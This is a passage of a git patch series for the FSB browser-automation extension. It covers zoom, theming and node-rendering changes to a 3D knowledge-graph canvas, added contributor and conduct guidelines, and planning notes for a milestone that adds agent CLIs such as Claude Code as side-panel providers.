var detAngle = (2 * Math.PI * di) / Math.max(detailItems.length, 1); - var spread = 40; - - var dx = sDir.x * R_DETAIL + (perp1.x * Math.cos(detAngle) + perp2.x * Math.sin(detAngle)) * spread; - var dy = sDir.y * R_DETAIL + (perp1.y * Math.cos(detAngle) + perp2.y * Math.sin(detAngle)) * spread; - var dz = sDir.z * R_DETAIL + (perp1.z * Math.cos(detAngle) + perp2.z * Math.sin(detAngle)) * spread; - - nodes.push({ - id: detId, - label: detailItems[di].label, - depth: 2, - type: 'detail', - detailType: detailItems[di].dtype, - color: entry.color, - colorIndex: entry.ci % COLORS.length, - x3d: dx, y3d: dy, z3d: dz - }); - links.push({ source: siteId, target: detId }); - } + nodes.push({ + id: 'site:' + ci + ':' + si, + label: g.site || 'Unknown', + fullLabel: [g.site || 'Unknown', catName].join(' '), + depth: 2, + type: 'site', + color: catColor, + colorIndex: colorIdx, + categoryName: catName, + selectorCount: g.selectors ? Object.keys(g.selectors).length : 0, + workflowCount: g.workflows ? Object.keys(g.workflows).length : 0, + warningCount: g.warnings ? g.warnings.length : 0, + x3d: sx, y3d: sy, z3d: sz + }); + links.push({ source: catId, target: 'site:' + ci + ':' + si }); } } // ---- Task Memory discovered sites ---- + // Extension-only: surfaces domains the user has visited that aren't already + // part of the built-in site guides, as root-level siblings of category + // nodes (their own pseudo-category). One tier only, same as built-in sites + // stopping at one tier below their category. if (_taskMemories.length > 0) { - // Collect existing site labels to avoid duplicates + // Collect existing site labels to avoid duplicates (category nodes reuse + // type 'site' too, so exclude those via isCat) var existingLabels = {}; for (var n = 0; n < nodes.length; n++) { - if (nodes[n].type === 'site') { + if (nodes[n].type === 'site' && !nodes[n].isCat) { existingLabels[nodes[n].label.toLowerCase()] = true; } } @@ -202,7 +191,7 @@ const KnowledgeGraph = (function () { (tm.metadata && tm.metadata.domain) || ''; if (!tmDomain) continue; if (!domainMap[tmDomain]) { - domainMap[tmDomain] = { selectors: [], patterns: [] }; + domainMap[tmDomain] = { selectors: [] }; } var tmLearned = (tm.typeData && tm.typeData.learned) || {}; if (tmLearned.selectors) { @@ -212,32 +201,26 @@ const KnowledgeGraph = (function () { } } } - if (tmLearned.patterns) { - for (var p = 0; p < tmLearned.patterns.length; p++) { - if (domainMap[tmDomain].patterns.indexOf(tmLearned.patterns[p]) === -1) { - domainMap[tmDomain].patterns.push(tmLearned.patterns[p]); - } - } - } } - // Add task-site nodes for domains not already in site guides + // Add task-site nodes (root-level siblings of category nodes) for + // domains not already covered by the built-in site guides var taskDomains = Object.keys(domainMap); - var taskStartIdx = totalSites; // continue golden-angle indexing + var taskStartIdx = nCat; // continue golden-angle indexing after categories + var tTotal = nCat + taskDomains.length; for (var ti = 0; ti < taskDomains.length; ti++) { var tdName = taskDomains[ti]; if (existingLabels[tdName.toLowerCase()]) continue; var tsId = 'task-site:' + ti; var tsIdx = taskStartIdx + ti; - var tTotal = totalSites + taskDomains.length; var tTheta = goldenAngle * tsIdx; var tPhi = Math.acos(1 - 2 * (tsIdx + 0.5) / tTotal); - var tsx = R_SITE * Math.sin(tPhi) * Math.cos(tTheta); - var tsy = R_SITE * Math.cos(tPhi); - var tsz = R_SITE * Math.sin(tPhi) * Math.sin(tTheta); + var tsx = R_CAT * Math.sin(tPhi) * Math.cos(tTheta); + var tsy = R_CAT * Math.cos(tPhi); + var tsz = R_CAT * Math.sin(tPhi) * Math.sin(tTheta); var domData = domainMap[tdName]; nodes.push({ @@ -254,48 +237,6 @@ const KnowledgeGraph = (function () { x3d: tsx, y3d: tsy, z3d: tsz }); links.push({ source: 'root', target: tsId }); - - // Detail nodes (full mode) -- selectors and patterns - if (detailLevel === 'full') { - var taskDetails = []; - var maxSel = Math.min(domData.selectors.length, 3); - for (var ds = 0; ds < maxSel; ds++) { - taskDetails.push({ label: domData.selectors[ds], dtype: 'selector' }); - } - var maxPat = Math.min(domData.patterns.length, 2); - for (var dp = 0; dp < maxPat; dp++) { - taskDetails.push({ label: domData.patterns[dp], dtype: 'pattern' }); - } - - if (taskDetails.length > 0) { - var tsDir = normalize({ x: tsx, y: tsy, z: tsz }); - var tsPerp1 = crossProduct(tsDir, { x: 0, y: 1, z: 0 }); - if (vecLen(tsPerp1) < 0.01) tsPerp1 = crossProduct(tsDir, { x: 1, y: 0, z: 0 }); - tsPerp1 = normalize(tsPerp1); - var tsPerp2 = normalize(crossProduct(tsDir, tsPerp1)); - - for (var tdi = 0; tdi < taskDetails.length; tdi++) { - var tdId = 'tdet:' + ti + ':' + tdi; - var tdAngle = (2 * Math.PI * tdi) / Math.max(taskDetails.length, 1); - var tSpread = 40; - - var tdx = tsDir.x * R_DETAIL + (tsPerp1.x * Math.cos(tdAngle) + tsPerp2.x * Math.sin(tdAngle)) * tSpread; - var tdy = tsDir.y * R_DETAIL + (tsPerp1.y * Math.cos(tdAngle) + tsPerp2.y * Math.sin(tdAngle)) * tSpread; - var tdz = tsDir.z * R_DETAIL + (tsPerp1.z * Math.cos(tdAngle) + tsPerp2.z * Math.sin(tdAngle)) * tSpread; - - nodes.push({ - id: tdId, - label: taskDetails[tdi].label, - depth: 2, - type: 'detail', - detailType: taskDetails[tdi].dtype, - color: TASK_SITE_COLOR, - x3d: tdx, y3d: tdy, z3d: tdz - }); - links.push({ source: tsId, target: tdId }); - } - } - } } } @@ -373,19 +314,25 @@ const KnowledgeGraph = (function () { var links = state.links; var t = state.time; - // Read CSS variables for theming - var computedStyle = getComputedStyle(state.container); - var bgColor = computedStyle.getPropertyValue('--bg-primary').trim() || '#ffffff'; - var textColor = computedStyle.getPropertyValue('--text-primary').trim() || '#171717'; - var textSecondary = computedStyle.getPropertyValue('--text-secondary').trim() || '#525252'; - var borderColor = computedStyle.getPropertyValue('--border-color').trim() || '#e5e5e5'; - var isDark = document.documentElement.getAttribute('data-theme') === 'dark'; + // Read CSS variables for theming (cached; only recomputed when theme changes) + var themeEl = state._themeEl || (state._themeEl = (state.container.closest && state.container.closest('[data-theme]')) || document.documentElement); + var themeKey = (themeEl && themeEl.getAttribute('data-theme')) || ''; + if (!state.colors || state._themeKey !== themeKey) { + var cs = getComputedStyle(state.container); + state.colors = { + text: cs.getPropertyValue('--text-primary').trim() || '#171717', + text2: cs.getPropertyValue('--text-secondary').trim() || '#525252' + }; + state._themeKey = themeKey; + } + var textColor = state.colors.text; + var textSecondary = state.colors.text2; + var isDark = themeKey === 'dark'; - // Clear + // Clear (transparent โ€” let the themed CSS background of the container show through) ctx.save(); ctx.setTransform(dpr, 0, 0, dpr, 0, 0); - ctx.fillStyle = bgColor; - ctx.fillRect(0, 0, w, h); + ctx.clearRect(0, 0, w, h); // Project all nodes var projected = []; @@ -422,13 +369,19 @@ const KnowledgeGraph = (function () { // Depth-based opacity var avgZ = (src.z + tgt.z) / 2; var depthFactor = CAMERA_DISTANCE / (CAMERA_DISTANCE + avgZ); - var alpha = Math.max(0.08, Math.min(0.45, depthFactor * 0.5)); + var alpha = Math.max(0.14, Math.min(0.58, depthFactor * 0.58)); + var lineBoost = 1; // Dimming for highlight if (state.highlightQuery) { var srcMatch = isHighlighted(src.node, state.highlightQuery); var tgtMatch = isHighlighted(tgt.node, state.highlightQuery); - if (!srcMatch && !tgtMatch) alpha *= 0.15; + if (!srcMatch && !tgtMatch) { + alpha *= DIMMED_LINK_ALPHA; + } else { + alpha = Math.max(alpha, isDark ? 0.58 : 0.52); + lineBoost = 1.35; + } } var color = resolveColor(tgt.node, isDark); @@ -437,7 +390,7 @@ const KnowledgeGraph = (function () { ctx.lineTo(tgt.x, tgt.y); ctx.strokeStyle = color; ctx.globalAlpha = alpha; - ctx.lineWidth = Math.max(0.5, 1.5 * depthFactor); + ctx.lineWidth = Math.max(0.75, 1.65 * depthFactor * lineBoost); ctx.stroke(); ctx.globalAlpha = 1; } @@ -458,15 +411,21 @@ const KnowledgeGraph = (function () { var highlighted = true; if (state.highlightQuery) { highlighted = isHighlighted(n, state.highlightQuery); - if (!highlighted) depthAlpha *= 0.15; + if (n.type === 'root') { + depthAlpha = Math.max(depthAlpha * 0.72, 0.55); + } else if (!highlighted) { + depthAlpha *= DIMMED_NODE_ALPHA; + } else { + depthAlpha = Math.max(depthAlpha, 0.92); + } } if (n.type === 'root') { drawRootNode(ctx, p.x, p.y, s, n, depthAlpha, textColor); } else if (n.type === 'site') { - drawSiteNode(ctx, p.x, p.y, s, n, depthAlpha, textColor, textSecondary, isDark); + drawSiteNode(ctx, p.x, p.y, s, n, depthAlpha, textColor, textSecondary, isDark, highlighted && !!state.highlightQuery); } else if (n.type === 'task-site') { - drawTaskSiteNode(ctx, p.x, p.y, s, n, depthAlpha, textColor, textSecondary, isDark); + drawTaskSiteNode(ctx, p.x, p.y, s, n, depthAlpha, textColor, textSecondary, isDark, highlighted && !!state.highlightQuery); } else if (n.type === 'detail') { drawDetailNode(ctx, p.x, p.y, s, n, depthAlpha, isDark); } @@ -504,28 +463,36 @@ const KnowledgeGraph = (function () { ctx.globalAlpha = 1; } - function drawSiteNode(ctx, x, y, scale, node, alpha, textColor, textSecondary, isDark) { - var r = 8 * scale; + function drawSiteNode(ctx, x, y, scale, node, alpha, textColor, textSecondary, isDark, emphasized) { + var isCat = node.isCat; + var r = (isCat ? 13 : 7) * scale * (emphasized ? 1.12 : 1); var color = resolveColor(node, isDark); ctx.globalAlpha = alpha; + if (emphasized) { + ctx.beginPath(); + ctx.arc(x, y, r + 7 * scale, 0, Math.PI * 2); + ctx.fillStyle = hexToRgba(color, isDark ? 0.18 : 0.12); + ctx.fill(); + } + // Filled circle with category color ctx.beginPath(); ctx.arc(x, y, r, 0, Math.PI * 2); - ctx.fillStyle = hexToRgba(color, 0.35); + ctx.fillStyle = hexToRgba(color, isCat ? 0.68 : 0.42); ctx.fill(); ctx.strokeStyle = color; - ctx.lineWidth = Math.max(1.5, 2 * scale); + ctx.lineWidth = Math.max(1.5, (isCat ? 2.7 : 1.9) * scale * (emphasized ? 1.25 : 1)); ctx.stroke(); // Label below - var fontSize = Math.max(8, Math.round(10 * scale)); + var fontSize = Math.max(isCat ? 10 : 8, Math.round((isCat ? 13 : 9.5) * scale * (emphasized ? 1.04 : 1))); ctx.fillStyle = textColor; - ctx.font = '500 ' + fontSize + 'px -apple-system, BlinkMacSystemFont, sans-serif'; + ctx.font = (isCat || emphasized ? '700 ' : '500 ') + fontSize + 'px -apple-system, BlinkMacSystemFont, sans-serif'; ctx.textAlign = 'center'; ctx.textBaseline = 'top'; - ctx.fillText(truncate(node.label, 16), x, y + r + 3 * scale); + ctx.fillText(truncate(node.label, isCat ? 22 : 16), x, y + r + 3 * scale); ctx.globalAlpha = 1; } @@ -542,12 +509,19 @@ const KnowledgeGraph = (function () { ctx.globalAlpha = 1; } - function drawTaskSiteNode(ctx, x, y, scale, node, alpha, textColor, textSecondary, isDark) { - var r = 8 * scale; + function drawTaskSiteNode(ctx, x, y, scale, node, alpha, textColor, textSecondary, isDark, emphasized) { + var r = 8 * scale * (emphasized ? 1.12 : 1); var color = isDark ? TASK_SITE_COLOR_DARK : TASK_SITE_COLOR; ctx.globalAlpha = alpha; + if (emphasized) { + ctx.beginPath(); + ctx.arc(x, y, r + 6 * scale, 0, Math.PI * 2); + ctx.fillStyle = hexToRgba(color, isDark ? 0.18 : 0.12); + ctx.fill(); + } + // Filled circle with teal color and dashed border ctx.beginPath(); ctx.arc(x, y, r, 0, Math.PI * 2); @@ -586,7 +560,7 @@ const KnowledgeGraph = (function () { function truncate(str, maxLen) { if (!str) return ''; if (str.length <= maxLen) return str; - return str.substring(0, maxLen - 1) + '\u2026'; + return str.substring(0, maxLen - 1) + 'โ€ฆ'; } function resolveColor(node, isDark) { @@ -617,6 +591,98 @@ const KnowledgeGraph = (function () { return label.indexOf(q) !== -1 || full.indexOf(q) !== -1 || cat.indexOf(q) !== -1; } + function getDefaultZoom(container, detailLevel) { + if (!container || !container.getBoundingClientRect) return 1; + var rect = container.getBoundingClientRect(); + var w = rect.width || container.clientWidth || 940; + var h = rect.height || container.clientHeight || 520; + var expanded = detailLevel === 'full'; + + // Desktop keeps the reference framing. Smaller viewports pull the 3D + // shell back so the graph reads as a map instead of clipped fragments. + if (w >= 760 && h >= 460) return expanded ? 0.82 : 1; + + var targetW = expanded ? 760 : 520; + var targetH = expanded ? 560 : 430; + var minZoom = expanded ? 0.46 : 0.62; + var zoom = Math.min(w / targetW, h / targetH); + return Math.max(minZoom, Math.min(1, zoom)); + } + + function getFitZoom(state, detailLevel) { + var defaultZoom = getDefaultZoom(state.container, detailLevel); + if (!state || detailLevel !== 'full' || !state.canvas || !state.nodes || state.nodes.length === 0) { + return defaultZoom; + } + + var w = state.canvas.width / state.dpr; + var h = state.canvas.height / state.dpr; + if (!w || !h) return defaultZoom; + + var cx = w / 2; + var cy = h / 2; + var minX = Infinity; + var minY = Infinity; + var maxX = -Infinity; + var maxY = -Infinity; + + for (var i = 0; i < state.nodes.length; i++) { + var n = state.nodes[i]; + var p = project(n.x3d, n.y3d, n.z3d, state.rotY, state.rotX, 1, cx, cy); + minX = Math.min(minX, p.x); + minY = Math.min(minY, p.y); + maxX = Math.max(maxX, p.x); + maxY = Math.max(maxY, p.y); + } + + if (!isFinite(minX) || !isFinite(minY) || !isFinite(maxX) || !isFinite(maxY)) { + return defaultZoom; + } + + var halfGraphW = Math.max(maxX - cx, cx - minX); + var halfGraphH = Math.max(maxY - cy, cy - minY); + if (halfGraphW <= 0 || halfGraphH <= 0) return defaultZoom; + + var marginX = Math.min(72, Math.max(36, w * 0.07)); + var marginY = Math.min(58, Math.max(32, h * 0.09)); + var fitZoom = Math.min((w / 2 - marginX) / halfGraphW, (h / 2 - marginY) / halfGraphH); + var minZoom = w >= 760 && h >= 460 ? 0.6 : 0.42; + return Math.max(minZoom, Math.min(defaultZoom, fitZoom)); + } + + function easeOutCubic(t) { + return 1 - Math.pow(1 - t, 3); + } + + function animateZoomTo(state, targetZoom, duration) { + if (!state) return; + targetZoom = Math.max(0.3, Math.min(3.0, targetZoom)); + if (state.zoomAnimId) { + cancelAnimationFrame(state.zoomAnimId); + state.zoomAnimId = null; + } + + var startZoom = state.zoom; + if (Math.abs(startZoom - targetZoom) < 0.005) { + state.zoom = targetZoom; + return; + } + + var startTime = performance.now(); + function step(now) { + if (!state.running) return; + var t = Math.min(1, (now - startTime) / duration); + state.zoom = startZoom + (targetZoom - startZoom) * easeOutCubic(t); + if (t < 1) { + state.zoomAnimId = requestAnimationFrame(step); + } else { + state.zoom = targetZoom; + state.zoomAnimId = null; + } + } + state.zoomAnimId = requestAnimationFrame(step); + } + // --------------------------------------------------------------- // Animation loop // --------------------------------------------------------------- @@ -704,8 +770,15 @@ const KnowledgeGraph = (function () { // Scroll zoom canvas.addEventListener('wheel', function (e) { e.preventDefault(); + // User zoom takes over: cancel any in-flight detail-level fit animation + // so its step() stops overwriting state.zoom. + if (state.zoomAnimId) { + cancelAnimationFrame(state.zoomAnimId); + state.zoomAnimId = null; + } var delta = e.deltaY > 0 ? -0.08 : 0.08; state.zoom = Math.max(0.3, Math.min(3.0, state.zoom + delta)); + state.userZoomed = true; }, { passive: false }); // Touch support @@ -784,7 +857,10 @@ const KnowledgeGraph = (function () { if (!tooltip) return; var html = ''; - if (node.type === 'site' || node.type === 'task-site') { + if (node.isCat) { + html = '' + escapeHtml(node.label) + ''; + html += '
' + (node.siteCount || 0) + ' sites'; + } else if (node.type === 'site' || node.type === 'task-site') { html = '' + escapeHtml(node.label) + ''; if (node.categoryName) html += '
' + escapeHtml(node.categoryName) + ''; var meta = []; @@ -870,7 +946,8 @@ const KnowledgeGraph = (function () { detailLevel: opts.detailLevel, rotY: 0, rotX: 0.15, - zoom: 1.0, + zoom: typeof opts.initialZoom === 'number' ? opts.initialZoom : getDefaultZoom(container, opts.detailLevel), + userZoomed: typeof opts.initialZoom === 'number', isDragging: false, dragStartX: 0, dragStartY: 0, @@ -880,6 +957,7 @@ const KnowledgeGraph = (function () { lastDragY: 0, momentumX: 0, momentumY: 0, + zoomAnimId: null, time: 0, running: true, animId: null, @@ -893,7 +971,10 @@ const KnowledgeGraph = (function () { // Handle resize -- re-sync canvas buffer to CSS layout state._syncCanvasSize = syncCanvasSize; - state._resizeHandler = function () { syncCanvasSize(); }; + state._resizeHandler = function () { + syncCanvasSize(); + if (!state.userZoomed) state.zoom = getDefaultZoom(container, state.detailLevel); + }; window.addEventListener('resize', state._resizeHandler); setupInteraction(state); @@ -906,6 +987,7 @@ const KnowledgeGraph = (function () { if (state) { state.running = false; if (state.animId) cancelAnimationFrame(state.animId); + if (state.zoomAnimId) cancelAnimationFrame(state.zoomAnimId); if (state._resizeHandler) window.removeEventListener('resize', state._resizeHandler); if (state.canvas) state.canvas.remove(); if (state.tooltip) state.tooltip.remove(); @@ -927,6 +1009,12 @@ const KnowledgeGraph = (function () { var data = buildKnowledgeGraphData(level); _state.nodes = data.nodes; _state.links = data.links; + if (level === 'full') { + _state.userZoomed = false; + animateZoomTo(_state, getFitZoom(_state, level), 650); + } else if (!_state.userZoomed) { + animateZoomTo(_state, getDefaultZoom(_state.container, level), 420); + } } function highlight(query) { diff --git a/extension/ui/control_panel.html b/extension/ui/control_panel.html index 6f079dcef..0d675c498 100644 --- a/extension/ui/control_panel.html +++ b/extension/ui/control_panel.html @@ -1023,7 +1023,7 @@

- +
diff --git a/extension/ui/site-guides-viewer.js b/extension/ui/site-guides-viewer.js index 0c5624103..00769ca9b 100644 --- a/extension/ui/site-guides-viewer.js +++ b/extension/ui/site-guides-viewer.js @@ -44,7 +44,7 @@ }); } - // Wire detail toggle (Overview / Full Detail) + // Wire detail toggle (Overview / Expanded) var toggleContainer = document.getElementById('knowledgeDetailToggle'); if (toggleContainer) { toggleContainer.addEventListener('click', function (e) { From fed0acc6d1048db334712b578cd63b30ed29d92e Mon Sep 17 00:00:00 2001 From: Lakshman Date: Tue, 7 Jul 2026 21:38:30 -0500 Subject: [PATCH 009/581] chore(showcase): sync knowledge graph categories with full site-guide list CATEGORY_ORDER only listed 6 of the built-in site-guide categories, so the showcase demo undercounted what the extension's knowledge graph actually covers. Add the missing categories and drop the stale hardcoded 9-categories/43+-sites figure from the header comment. --- showcase/js/knowledge-graph.js | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/showcase/js/knowledge-graph.js b/showcase/js/knowledge-graph.js index 0325781ed..73d1e6904 100644 --- a/showcase/js/knowledge-graph.js +++ b/showcase/js/knowledge-graph.js @@ -2,7 +2,7 @@ * KnowledgeGraph -- Consolidated 3D mind map of FSB's built-in site knowledge * * Pure Canvas with 3D projection. No external dependencies. - * Renders all 9 categories and 43+ sites as a single rotating 3D graph. + * Renders all built-in site-guide categories and sites as a single rotating 3D graph. * * Public API: * KnowledgeGraph.render(container, options) - Create canvas, build data, start animation @@ -41,7 +41,15 @@ const KnowledgeGraph = (function () { 'Coding Platforms', 'Career & Job Search', 'Gaming Platforms', - 'Productivity Tools' + 'Productivity Tools', + 'Design & Whiteboard', + 'Games', + 'Media', + 'Music', + 'News', + 'Reference', + 'Sports', + 'Utilities' ]; // Task-discovered site color (teal/cyan -- distinct from built-in categories) From 42f6ea02f10519f8c6723c9275c59ede2dc05e0e Mon Sep 17 00:00:00 2001 From: Lakshman Date: Thu, 9 Jul 2026 16:51:17 -0500 Subject: [PATCH 010/581] docs: add community guidelines --- CODE_OF_CONDUCT.md | 25 +++++++++++++++++++++++++ CONTRIBUTING.md | 31 +++++++++++++++++++++++++++++++ 2 files changed, 56 insertions(+) create mode 100644 CODE_OF_CONDUCT.md create mode 100644 CONTRIBUTING.md diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 000000000..0070a5542 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,25 @@ +# Code of Conduct + +## Our Commitment + +FSB aims to be a welcoming, respectful, and professional project for everyone who participates. + +## Expected Behavior + +1. Treat people with respect and assume good intent. +2. Offer constructive feedback and keep discussion focused on the project. +3. Respect differing experiences, perspectives, and skill levels. + +## Unacceptable Behavior + +1. Harassment, discrimination, threats, or personal attacks. +2. Deliberate disruption of discussions, Issues, or pull requests. +3. Publishing private information without permission. + +## Enforcement + +Maintainers may edit or remove content, reject contributions, or limit participation when behavior conflicts with this policy. + +## Reporting + +Report conduct concerns by opening a [GitHub Issue](https://github.com/fullselfbrowsing/FSB/issues). Include enough context for maintainers to review the concern. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 000000000..56097ff9a --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,31 @@ +# Contributing to FSB + +Thank you for contributing to FSB. + +## Start With an Issue + +Open a GitHub Issue before beginning a substantial feature, behavior change, or architectural change. This lets maintainers confirm the direction and avoid duplicate work. + +Small documentation corrections and focused fixes can be submitted directly as a pull request. + +## Set Up Locally + +Follow the Local Development Setup section in the README. It covers prerequisites, installation, and how to run FSB during development. + +## Before Opening a Pull Request + +1. Keep changes focused and explain the user visible impact. +2. Update relevant documentation when behavior or configuration changes. +3. Run the checks that cover the change. For general changes, run: + +```sh +npm run validate:extension +npm test +npm run test:mcp-smoke +``` + +4. Link the related Issue and describe what you tested in the pull request. + +## Security + +Do not report security vulnerabilities in public Issues or pull requests. Contact a maintainer privately through GitHub so that responsible disclosure can be arranged. From 228d6005312c66df07585d1276e25da04c76d36e Mon Sep 17 00:00:00 2001 From: Lakshman Date: Fri, 10 Jul 2026 13:23:54 -0500 Subject: [PATCH 011/581] docs: start milestone v0.9.91 MCP Clients as Providers --- .planning/PROJECT.md | 27 ++++++++++++++++++++++++--- .planning/STATE.md | 32 ++++++++++++++------------------ 2 files changed, 38 insertions(+), 21 deletions(-) diff --git a/.planning/PROJECT.md b/.planning/PROJECT.md index 35190d38e..257550063 100644 --- a/.planning/PROJECT.md +++ b/.planning/PROJECT.md @@ -18,7 +18,28 @@ FSB is an AI-powered browser automation Chrome extension that executes tasks thr - v1.0.0 Full App Catalog (OpenTabs Parity) -- archived 2026-06-29; T1 expansion debt carried into v1.1.0 -## Current Milestone: v1.2.0 Showcase i18n Completeness +## Current Milestone: v0.9.91 MCP Clients as Providers + +**Goal:** Make installed agent CLIs (Claude Code first) first-class side-panel providers -- FSB captures which MCP clients the user installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools. + +**Target features:** +- **Agent identity capture** -- persist which install command(s) the user copies during onboarding (multi-client, `extension/ui/onboarding.js` copy handler already has the client id); capture `clientInfo` from the MCP initialize handshake (currently discarded -- zero references in `mcp/`) and thread it through the existing `agent:register` round-trip (payload is empty `{}` today); detect installed clients from the `platforms.ts` registry's per-OS config paths (21 clients); surface connected/installed agents in the control panel. +- **Providers panel** -- rename "API Configuration" -> "Providers" (`extension/ui/control_panel.html:146`); introduce `api` vs `agent` provider kinds; agent providers hide the API-key field; recommended default driven by ground truth (connected > installed > copy-clicked). +- **Side-panel delegation (Claude Code MVP)** -- new extension->hub reverse-request channel over the existing ws://localhost:7225 bridge; daemon spawns `claude -p` headless (stream-json output, strict permission defaults, hermetic `--strict-mcp-config`, shipped `fsb` agent definition instead of prompt stuffing); the spawned CLI connects back as its own FSB agent with tab ownership; live progress streamed into the side panel; kill switch; graceful "agent offline -> doctor" state. +- **Multi-agent adapters** -- `AgentProviderAdapter` contract (detect / build / events / kill / caps); OpenCode -> Codex -> Gemini after Claude Code; task-mode vs chat-mode (`--resume`) where supported. + +**Key context:** +- The spawn channel is security-critical (RCE-adjacent): extension-origin gating + shared secret + explicit consent tiers required. Bridge already rejects untrusted browser origins (`tests/mcp-bridge-topology.test.js`). +- Daemon lifecycle constraint: the extension has NO nativeMessaging permission and cannot wake any process. Delegation requires a live MCP server process (`fsb-mcp-server serve` or an open agent session). MVP ships honest offline UX + `doctor` handoff; a native-messaging host is a deferred option. +- INV-01 carries forward: MCP wire contracts stay byte-stable -- all bridge message types and tools are additive. +- Test suite has source-pin tripwires on extension files (token counts/substrings); extension-side wiring must run the suite from the first commit. +- Delegation becomes the fifth `EXECUTION_MODES` entry in `extension/ai/engine-config.js` (autopilot, mcp-manual, mcp-agent, dashboard-remote, + delegated). +- This milestone completes the v0.9.45rc1 arc (background agents retired in favor of external agent runtimes) and the v0.9.36 deferred item "derive trusted MCP client identity from connection/handshake metadata". +- Phases continue from 57. + +## Last Milestone: v1.2.0 Showcase i18n Completeness + +**Status:** Archived 2026-07-09. Phases 52-56 shipped; audit passed. Archive files under `.planning/milestones/v1.2.0-*`. VISUAL-01 browser UAT remains human_needed (`53-VISUAL-QA.md`). **Goal:** Close the translation gap that reopened after v0.9.63 shipped -- full, drift-free coverage across all six supported locales (en, es, de, ja, zh-CN, zh-TW) for every showcase marketing page plus the stats page, the long-deferred locale-cookie redirect bug, and a CI gate that catches future drift automatically. @@ -411,7 +432,7 @@ Carry-forward backlog candidates: ### Active -(Milestone v1.2.0 Showcase i18n Completeness -- requirements and roadmap to be defined; phases continue from v1.1.0's Phase 51 -> start at Phase 52. v1.1.0 T1 App Execution Expansion is archived; this milestone returns to the showcase-site i18n surface last touched in v0.9.63.) +(Milestone v0.9.91 MCP Clients as Providers -- requirements and roadmap being defined; phases continue from v1.2.0's Phase 56 -> start at Phase 57. v1.2.0 Showcase i18n Completeness is archived; this milestone returns to the extension/MCP surface last touched in v0.9.99/v0.9.60-62.) ### Validated (v0.9.99) @@ -676,4 +697,4 @@ This document evolves at phase transitions and milestone boundaries. 4. Update Context with current state --- -*Last updated: 2026-07-08 -- Phase 52 (Full-Page Translation Completeness Audit) complete. Next: Phase 53 (Trans-Unit Resync, Stats Translation & Transcreation Review).* +*Last updated: 2026-07-10 -- Milestone v0.9.91 MCP Clients as Providers started. Next: requirements definition.* diff --git a/.planning/STATE.md b/.planning/STATE.md index 275ced7c9..270134963 100644 --- a/.planning/STATE.md +++ b/.planning/STATE.md @@ -1,17 +1,16 @@ --- gsd_state_version: 1.0 -milestone: v1.2.0 -milestone_name: Showcase i18n Completeness -status: milestone_complete -stopped_at: v1.2.0 archived -- ready for /gsd-new-milestone -last_updated: "2026-07-09T19:18:40.000Z" -last_activity: 2026-07-09 +milestone: v0.9.91 +milestone_name: MCP Clients as Providers +status: planning +last_updated: "2026-07-10T18:23:53.880Z" +last_activity: 2026-07-10 progress: - total_phases: 5 - completed_phases: 5 - total_plans: 4 - completed_plans: 4 - percent: 100 + total_phases: 0 + completed_phases: 0 + total_plans: 0 + completed_plans: 0 + percent: 0 --- *Note: the `total_phases`/`completed_phases` counts above are scoped to the active v1.2.0 milestone (Phases 52-56) only. Some GSD tooling (`roadmap.analyze`, `phase.complete`) reports a noisy 14-phase/9-complete count and misidentifies "999.1" (an unrelated Backlog item) as the next phase -- both are artifacts of that tooling scanning the whole ROADMAP.md file, including the collapsed `## Completed Milestones` archive and `## Backlog` sections, rather than just the active milestone's phases. Phases 44-51 are archived v1.1.0 work; 999.1 is unrelated backlog. Treat this file's own numbers as authoritative for v1.2.0 progress.* @@ -31,12 +30,10 @@ See: .planning/milestones/v1.1.0-ROADMAP.md, .planning/milestones/v1.1.0-REQUIRE ## Current Position -Phase: 54 of 56 (Stats Lint Gate Flip & Dashboard Boundary Documentation) -Plan: Not yet planned -Status: Ready to plan -- Phase 53 complete (resync + stats reconciliation + transcreation); visual UAT deferred human_needed -Last activity: 2026-07-09 - -Progress: [โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ] 100% (5/5 phases in v1.2.0) +Phase: Not started (defining requirements) +Plan: โ€” +Status: Defining requirements +Last activity: 2026-07-10 โ€” Milestone v0.9.91 started ## Roadmap At A Glance (v1.2.0, Phases 52-56) @@ -110,7 +107,6 @@ Last session: 2026-07-09 Stopped at: Phase 53 complete โ€” 5 drifted units resynced, stats-274 JSON retired, 19 hero/CTA strings transcreated; VISUAL-01 browser UAT deferred as human_needed. Continuing autonomously into Phase 54. Resume file: None - ## Next Actions v1.2.0 complete and archived. Optional: finish VISUAL-01 human UAT. Start next milestone with `/gsd-new-milestone`. From bc45885ab9a86ecc7c1e3fb80610d834821fd215 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Fri, 10 Jul 2026 13:55:40 -0500 Subject: [PATCH 012/581] docs(0.9.91): research (stack/features/architecture/pitfalls/summary) Force-adds .planning/research/ (matched by top-level Research/ ignore under core.ignorecase). v1.2.0 SUMMARY.md/ARCHITECTURE.md archived as SUMMARY-v1.2.0-* / ARCHITECTURE-v1.2.0-*; new v0.9.91 research overwrites the other superseded i18n research files (per that directory's own convention). Findings feed the requirements + roadmap steps of the v0.9.91 milestone. --- .../ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md | 403 ++++++++++ .planning/research/ARCHITECTURE.md | 638 ++++++++-------- .planning/research/FEATURES.md | 262 +++---- .planning/research/PITFALLS.md | 689 +++++++++++++++--- .planning/research/STACK.md | 305 +++++--- .../research/SUMMARY-v1.2.0-SHOWCASE-I18N.md | 158 ++++ .planning/research/SUMMARY.md | 279 ++++--- 7 files changed, 1954 insertions(+), 780 deletions(-) create mode 100644 .planning/research/ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md create mode 100644 .planning/research/SUMMARY-v1.2.0-SHOWCASE-I18N.md diff --git a/.planning/research/ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md b/.planning/research/ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md new file mode 100644 index 000000000..7f6351b46 --- /dev/null +++ b/.planning/research/ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md @@ -0,0 +1,403 @@ +# Architecture Research: v1.2.0 Showcase i18n Completeness + +**Domain:** 